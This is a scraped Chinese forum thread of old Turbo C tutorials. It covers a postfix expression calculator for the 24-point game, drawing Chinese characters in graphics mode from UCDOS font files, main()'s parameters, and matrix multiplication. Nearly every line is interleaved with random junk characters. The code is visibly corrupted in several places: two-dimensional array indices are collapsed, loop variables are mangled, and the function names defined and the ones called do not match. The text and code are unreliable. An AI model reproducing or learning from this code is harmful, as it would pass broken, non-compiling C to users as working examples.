# I9 L5 s% \7 bint mid_last(). }2 k# L- W- ]. n" F
{ int i=0,j=0; char c,sm[M];
  F9 S! `* P6 K" H% ~7 Ac=s[0]; sm[0]='='; top=0;
2 o" J, e7 f8 Q; s) M3 S  j) twhile(c!='\0')2 \( o& t! r9 V) q# M5 @+ W
{ if(islower(c)) sp[j++]=c;9 R6 S. g9 b6 k$ J
else switch(c)
4 {5 K7 S+ V) n4 J0 i& b{ case '+':! ^1 {% h' t: F+ g
case '-':
# V/ q& c. u: A2 k0 n- K5 G) }; Acase '*':
2 S" s# p( P" Gcase '/': while(first(c)&lt;=first(sm[top]))
) L. M! D! z7 k( O) G9 \sp[j++]=sm[top--];" S1 X9 h  ]) n/ B% n/ e" v1 ~5 v
sm[++top]=c; break;  z( U/ a. Y* ?4 ~5 H+ _' R- {% n2 R
case '(': sm[++top]=c; break;6 u) y' g7 a6 @+ `, ?4 v, K' H
case ')': while(sm[top]!='(')
5 k4 i, j2 V# B1 V/ @) [sp[j++]=sm[top--];
  @' ]  Z- h: `5 l) H- _top--; break;. z  T) ?. q: r* o  `
default :return(1);
" {, D2 s3 M3 j}$ G) z; F  R5 n! S' n
c=s[++i];/ O* ?' @# Y/ w% F6 }
}
% T7 ^" \5 i; E5 Ewhile(top&gt;0) sp[j++]=sm[top--];  N$ j: a  _$ y
sp[j]='\0'; return(0);! c% M: f6 Y7 G9 B8 |9 y
}
5 g; i" W2 G7 [' q+ N2 O/* 由后缀表达式来计算表达式的值 */
1 e$ ^' G7 O4 X8 }5 u8 R( Xint calc()
! \5 I( z; W( z; F{ int i=0,sm[M],tr; char c;
* w/ q( ?: G: D( ]" J0 hc=sp[0]; top=-1;/ ?1 h4 v5 ]. y; J3 ^0 D# w/ J
while(c!='\0'). q7 H  Y; s4 r
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,1 x) K( N5 P: H
这样才可以更方便的处理非一位数,
  P0 e) v6 L7 W4 Q3 E' I$ x8 cver数组中存放着这些字母所代替的数*/4 ^! J' O1 Q/ o% W" `
else switch(c)
# b- h4 f2 n9 ^$ F! f3 p7 j{ case '+': tr=sm[top--]; sm[top]+=tr; break;5 l% e' c0 ^6 F! t* G3 E
case '-': tr=sm[top--]; sm[top]-=tr; break;
& L  ]) k9 M. N( Ccase '*': tr=sm[top--]; sm[top]*=tr; break;) D/ m$ @! l7 k" ]: Q0 l
case '/': tr=sm[top--];sm[top]/=tr;break;
( p; U8 w1 p* N, Ydefault : return(1);
' E$ v  d+ d( P3 A4 t0 _8 R}* m1 ?: f/ o( U( y1 U  f$ R: ]
c=sp[++i];6 T- q: w  L* |9 a0 W  J
}- ~1 p, X* ?# f# Y2 a% \
if(top&gt;0) return(1);
% K1 A5 D7 m/ N3 c/ K, ]else { result=sm[top]; return(0); }
' d: p- N" c0 u  U% i0 K; J}
/ K9 D# @& S2 r( k, H) Q* b- X( u' `</FONT>
( M/ U) b9 Z3 C7 p2 F  Z: D  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
& S# {+ n- l6 o1 s: V# A
2 I+ w) [- y" y- j  最后我总结了一下这其中容易出错的地方——1 }0 {# |3 x& s0 V, E2 X
3 J6 L' F* m; h6 [
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
, Z+ x: W  u& P$ R% h( p3 B! z" I) y! A' C) {
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
& N7 \5 K5 s/ m7 `; h
: Z9 F7 E6 v( Q% J, ~  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。 - v0 }* o8 E! I% h
* ~: C: R; }% X1 e9 x
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
/ ~. Y9 ~& J* ?7 D5 Y2 _% K
9 p$ {. P% j- m5 y/ `! R  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。6 i/ z" a6 E9 l4 Z5 F6 V5 j6 I

( A7 z" t  H5 @, e. N( b0 K" Z  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。2 H+ Y  I( Z* M' c: [

( X& F! B% M' b  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
" j4 Q% `8 c- a% J$ b</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>9 n. N4 k7 a" J/ ~! j
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
# M" N- k! o) E& O. R3 y1 N5 ?7 {, J; p  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。
! ~9 A0 e9 u# a1 M5 ?* E  汉字显示的第一步是打开字库文件。 ! `! w# d9 s/ Y
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。: \( H- h. y3 Y7 O
  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
  g4 s* G0 m! Y* i6 `7 P+ t, R2 F, J{) s, m1 ~8 T' Q: v! p  k
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
& B8 [8 E- `9 I# ~7 Eint rec,i1,i2,i3; /*z:space between;*/# u% i; Q& t9 q
long l; /*color:txt color*/) Z* c" \/ M/ T$ b% c4 y# _! w
char by[32]; /*p:HZ str*/5 ]) s1 u  }3 {- x8 Y6 O4 M6 @
if( handle&lt;0 ) return -1; while((i=*p++)!=0){
' m1 O9 @+ |8 m) mif(i&gt;0xa1)9 N* N9 S6 V( \% M4 e8 M
if(f==0){3 Q9 D/ r7 @  I, A+ j
c1=(i-0xa1)&amp;0x07f;
2 Y- I. L# d. j& A# h0 df=1;
6 i- s9 `# r% d  q}
2 S# M+ i$ _' ~/ Z7 x4 N8 Helse{
7 p) ^; `' ~6 Z. Ic2=(i-0xa1)&amp;0x07f;4 H+ C2 ^+ I1 @/ ?2 [" @  M
f=0;
( w  Z8 T1 I( U6 ?/ @+ f3 mrec=c1*94+c2;
/ U, ^6 }1 Z/ A7 c) Z% [; r0 @$ Nl=rec*32L;/ ?+ F, v+ u/ N8 C8 g+ O7 m- _( ?
lseek(handle,l,SEEK_SET);
* |6 _: x& g( \/ a* I' eread(handle,by,32);# I# w  C# }" o& A3 x5 \
for(i1=0;i1&lt;16;i1++)' ^4 H! m+ @' R  X! r5 a! U; p
for(i2=0;i2&lt;2;i2++)8 t% h* i) c7 ~! `
for(i3=0;i3&lt;8;i3++)) g! t: i5 Q6 x7 X- [& J
if(GetBit(by[i1*2+i2],7-i3))) Q' W: }4 {, k' h3 ?( ?
putpixel(x+i2*8+i3,y+i1,color);3 e$ @; r6 J; |+ A# x/ ^: b* o
x=x+z+16;8 p( k1 y4 [  s- r( @% I" l
}
7 }: b1 y# @: v  |& h7 D" [1 I}
9 W" Q, L( V+ Freturn(x);
1 y% H- o- S, W. |: b& I}7 O7 c. u/ }+ K
函数GetBit定义如下:
: {. e- \. N/ t4 M: X  A/ L  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
8 R0 |9 Y- H7 pint GetBit(unsigned char c,int n)
2 U0 x+ L* }+ F{  I- h6 c6 v9 {7 C* n5 s' \
return((c&gt;&gt;n)&amp;1);
+ ^$ Z6 a5 ?# R8 d5 D}; T% r) {0 q$ ?$ `" u! n; v
汉字显示结束,应该关闭字库文件。
2 P  p# z4 I: X2 B" Pvoid CloseHz(void)' ~, g1 k$ u3 C; i
{
+ K' J: `5 L, F* cclose( handle );, v- V6 k! A1 |
}
3 h  P* R4 N9 N' I1 K( g7 H( {% x#include "\Caic\Include\Hz.h"
5 w( T6 `" f, ^4 V#include <GRAPHICS.H>' z3 O4 n, R; u; U4 x  Z
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
6 T8 l) ~9 k- h+ ~% B) `const char* HzStr = "苦丁香C语言辅助学习软件";
7 P3 d3 Q8 q4 x6 }+ Uvoid main(){
' h6 h! N- H% S3 a5 P7 L8 W5 ]6 C0 ~int gr=DETECT,gm;/ j" \- g7 K7 \% {0 C
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
: v' G) B5 e5 [7 }( COpenHz( Hz16Path );
" p  c" W& p- [) @Wrt16Hz(20,20,4,RED,HzStr);
2 [) w2 L+ F1 E9 X0 nCloseHz();
0 e( K- I! j; j" Y( egetch();
: T+ l0 z- p; l" Dclosegraph();! i% F' x9 B, z; M% V/ l
}显示24点阵及放大汉字
; ], A4 q) d* n0 d" c  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。3 o3 c8 O" g( A2 v: P5 Q
函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。
' a& O$ Y7 [% wint WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
2 X( a* n( `: S& D$ F& B& [{( u0 ]5 i7 f" a; h/ d+ [/ Y" ]
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/" I6 V- m/ e5 U$ J' C8 ]$ f$ P
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/8 _0 n) h' u+ d9 M( ^  ~
long l; /*color:汉字颜色*/, y* b! x0 D% L
char by[72]; /*m: x 方向的放大倍数*/! P, @# r6 I! t
/*n: y 方向的放大倍数*/
* A* T- Y2 g1 C3 _if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){7 ]1 n8 a9 M8 ~4 I# V2 r: N
if(i&gt;0xa1)
( U& S- d  |* N  T! T, {if(f==0){
: K0 ^4 P; M* |* ^4 `3 B7 G+ L2 Yc1=(i-0xa1)&amp;0x7f;7 m5 T2 c% L3 t- m
f=1;
8 z4 }" \  C3 D# m2 S% X% i}! X/ @% j8 B( G: `9 D$ {
else{( R9 n; K& j5 q; ~0 R4 g6 D, _
c2=(i-0xa1)&amp;0x7f;! v0 l; E% b$ T5 [) h
f=0;$ i5 M6 T  l2 Y) R. O9 |
rec=(c1-15)*94+c2;! k' s8 Q+ @+ p! z7 X7 {5 f" O
l=rec*72L;8 \; _2 L% n9 p6 T
lseek(handle,l,SEEK_SET);. O6 g6 y$ F* {
read(handle,by,72);; R6 e; X& v( H6 g9 b( L
for(i1=0;i1&lt;24*m;i1=i1+m)% G* }4 B, ?+ b6 V
for(i4=0;i4<M;I4++)
6 u3 C  L* G( G& V: u+ L! y for(i2=0;i2&lt;=2;i2++)+ G# O6 D* w  s5 \% r1 ]3 r" a
for(i3=0;i3&lt;8;i3++)4 k0 \+ E% V/ [9 r- L7 C
if(GetBit(by[i1/m*3+i2],7-i3)). ?/ T, [& C8 T( K
for(i5=0;i5<N;I5++)
& d8 f. q8 g' m! a6 } putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);3 L4 h& l! O. N- ^# l! d1 N$ J$ U
x=x+24*m+z;
- m5 G/ l- C( k6 h- S}$ P( `* r- n( p5 v; F2 f; x
}$ \% b1 Q: j2 W
return(x);& m8 I/ A) m/ l" ~+ t2 X
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"4 B. C7 _3 M8 S  g7 w0 I  Q
#include <GRAPHICS.H>- E8 }5 c% d8 b( Z
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."- S" K5 z% h- r6 ~# Z
const char* HzStr = "苦丁香C语言辅助学习软件";% g2 I5 P$ M# \
void main(){
# o! N1 c/ ~! Y. A& {  }0 vint gr=DETECT,gm;
$ z0 a" r# Q" j* V* O2 ninitgraph(&amp;gr,gm,"\\Caic\\Bgi");
. q* Q( S. N. ]$ m. d0 ]# E$ W% GOpenHz( Hz24Path );. n" T! X# T8 Z4 \) s3 O
Wrt24Hz(20,20, /*先是在(x,y)*/
) ~7 b2 l( x+ g" V4, /*汉字间的空格为4*/: Z" L7 O' p4 C/ k1 |
RED, /*用红色显示*/
1 o5 W# x. [+ P2, /*x 方向放大2倍*/
2 ^! |9 c" q! Q" i. Z4, /*y 方向放大4倍*/: ^  e  j2 [; t; V
HzStr); /*显示字符串*/5 g; O, U! o: {/ O8 B
CloseHz();
: v* Y% g! A; b; T5 X1 J: igetch();
3 u: G. W+ i  C4 Z4 g' F3 J/ nclosegraph();/ a; V0 ~2 X: q9 }; H! _
}
& m/ D' F- g) q. X</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数
5 u* H7 W, A1 s1 f  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。) o% t  O: D/ h) q0 R
1. main() 参数
# b( T1 E# Z0 ]3 l) ]  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
4 ~  M4 y) D$ b. o# I8 `  * argc: 整数,为传给main()的命令行参数个数。* w( T; u+ Y: b6 E, z- L% R, T: R
  * argv: 字符串数组。
9 @8 H1 C  g3 g, [* f在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;! j4 K6 m& R4 W% I$ E
对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;5 k3 X* a9 R% |5 p- u9 j
...  {( {4 y3 j$ }" S
argv[argc]为NULL。
; D: @8 `3 k3 O: ]* O7 w  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
3 x: \$ s' l  ?2 K. n值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/0 d) K7 Y/ i7 y6 P
#include&lt;stdio.h&gt;. @6 v0 c4 o. t
#include&lt;conio.h&gt;" a8 l6 g( E' {( x1 \
#define X 39 s0 ?1 }3 v3 [/ ~* v( j
#define Y 3</P><>int a[X][Y];1 O, |7 a8 c- ~0 P- P
int b[X][Y];
: A! P: s! X% R9 Y; c0 y9 N7 V  jint c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);0 R& ]4 F' h; ]* Q
main()
  I3 j# s% R( f0 l4 _( `# L: ?7 Y4 w{
' Z( {# W# l% Z3 u3 L! S5 m6 nint i,j,temp;
% Z  E, Y/ @  a3 u& fclrscr();
- x$ T& X* o9 P+ ^9 Q* K5 Rprintf("lease input int matrix b[%d][%d]\n",X,Y);% |1 [% j3 j" u  J" s
for(i=0;i&lt;Y;i++)
% ?- i. ^2 m7 n# W* Rfor(j=0;j&lt;Y;j++){) E( r& i. G2 n/ h% a- ]8 t
scanf("%d",&amp;temp);, R3 J  }+ `* a! q3 Z9 V
b[j]=temp;5 u7 \) H3 L2 A. U# I3 i( l
}  Y. B) q( n+ x/ P
printf("lease input int matrix c[%d][%d]\n",X,Y);/ J& n8 c6 z0 Q: M: r- M( o0 U
for(i=0;i&lt;X;i++)6 f- `. _  h; f* Q( ~. X2 b5 N
for(j=0;j&lt;Y;j++){, {9 Q( c% i3 g0 Q$ f# ?. Z2 r- _& \
scanf("%d",&amp;temp);
) }* Z  m( _# l, `c[j]=temp;
" {1 E7 B4 [. M' h5 T; m& X}. }3 G: L& C9 f# x! z  d
matrix(b,c);& h- Y2 f% U( ^  K# T4 V: |" h, n
printf("Now print resource matrix b[%d][%d]=",X,Y);  M7 ?9 j6 m9 K8 N# l2 n( l
for(i=0;i&lt;X;i++){% `! k# s, Z4 N- V
printf("\n");
2 m! W9 l* K# x  u% dfor(j=0;j&lt;Y;j++), t3 B0 }2 ~/ t( G$ {) k5 o! s2 X
printf("%d ",b[j]);
( D. U& A& o0 V9 z}' d  w! ]+ i9 K) _4 R! }/ Z
printf("\n");$ N% f( m+ P; V, e7 }7 t
printf("Now print resource matrix c[%d][%d]=",X,Y);
7 f' E! k6 w6 V) b( Lfor(i=0;i&lt;X;i++){7 {& o* U- o. A
printf("\n");' K0 E5 M1 G/ J; U* S
for(j=0;j&lt;Y;j++)
# L, e0 y$ q3 Y% F4 c3 Uprintf("%d ",c[j]);. g1 d4 T8 i8 ~
}% i' i' H. v8 o8 V& O" l" E1 K9 E, i
printf("\n");
- w0 m* h) @! Cprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);9 L/ O$ r1 I- p3 b9 _! h" k0 W# o
for(i=0;i&lt;X;i++){, g7 C0 @0 P0 y7 C7 N8 {
printf("\n");* S. j4 [# f* S6 k
for(j=0;j&lt;Y;j++)
! q5 `! x/ m  k) aprintf("%d ",a[j]);
; ]  x2 _2 i! S}3 N- s4 @. I: y) \- Q) n
getch();
! i/ \& @" x: }! O" P# s  Jreturn 0;% s  ]; @$ X# Y3 h
}
; N. r5 x9 T( ~, E5 r& E" n0 J4 l/********************************************************************/
, B  A2 ^* g$ k7 a; vvoid matrix(int b[][X],int c[][Y])
# _8 |# F1 [' W) x8 o{- h$ ~- p7 I& ^3 s5 Z- q- K
int i,j,k,temp;7 m* `$ L% y3 B8 e& S
for(i=0;i&lt;X;i++)
# C' g3 w+ I) X( q/ ^4 k  ufor(j=0;j&lt;Y;j++){. U" G1 S: x' B3 E& Q* Y
for(k=0;k&lt;Y;k++)
* ^% M$ U( a0 o, g. ga[j]+=b[k]*c[k][j];6 q; y+ i- S. Y* }0 M
}
  X. X0 q# R+ @* w}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-17 16:34 , Processed in 0.641910 second(s), 90 queries .

回顶部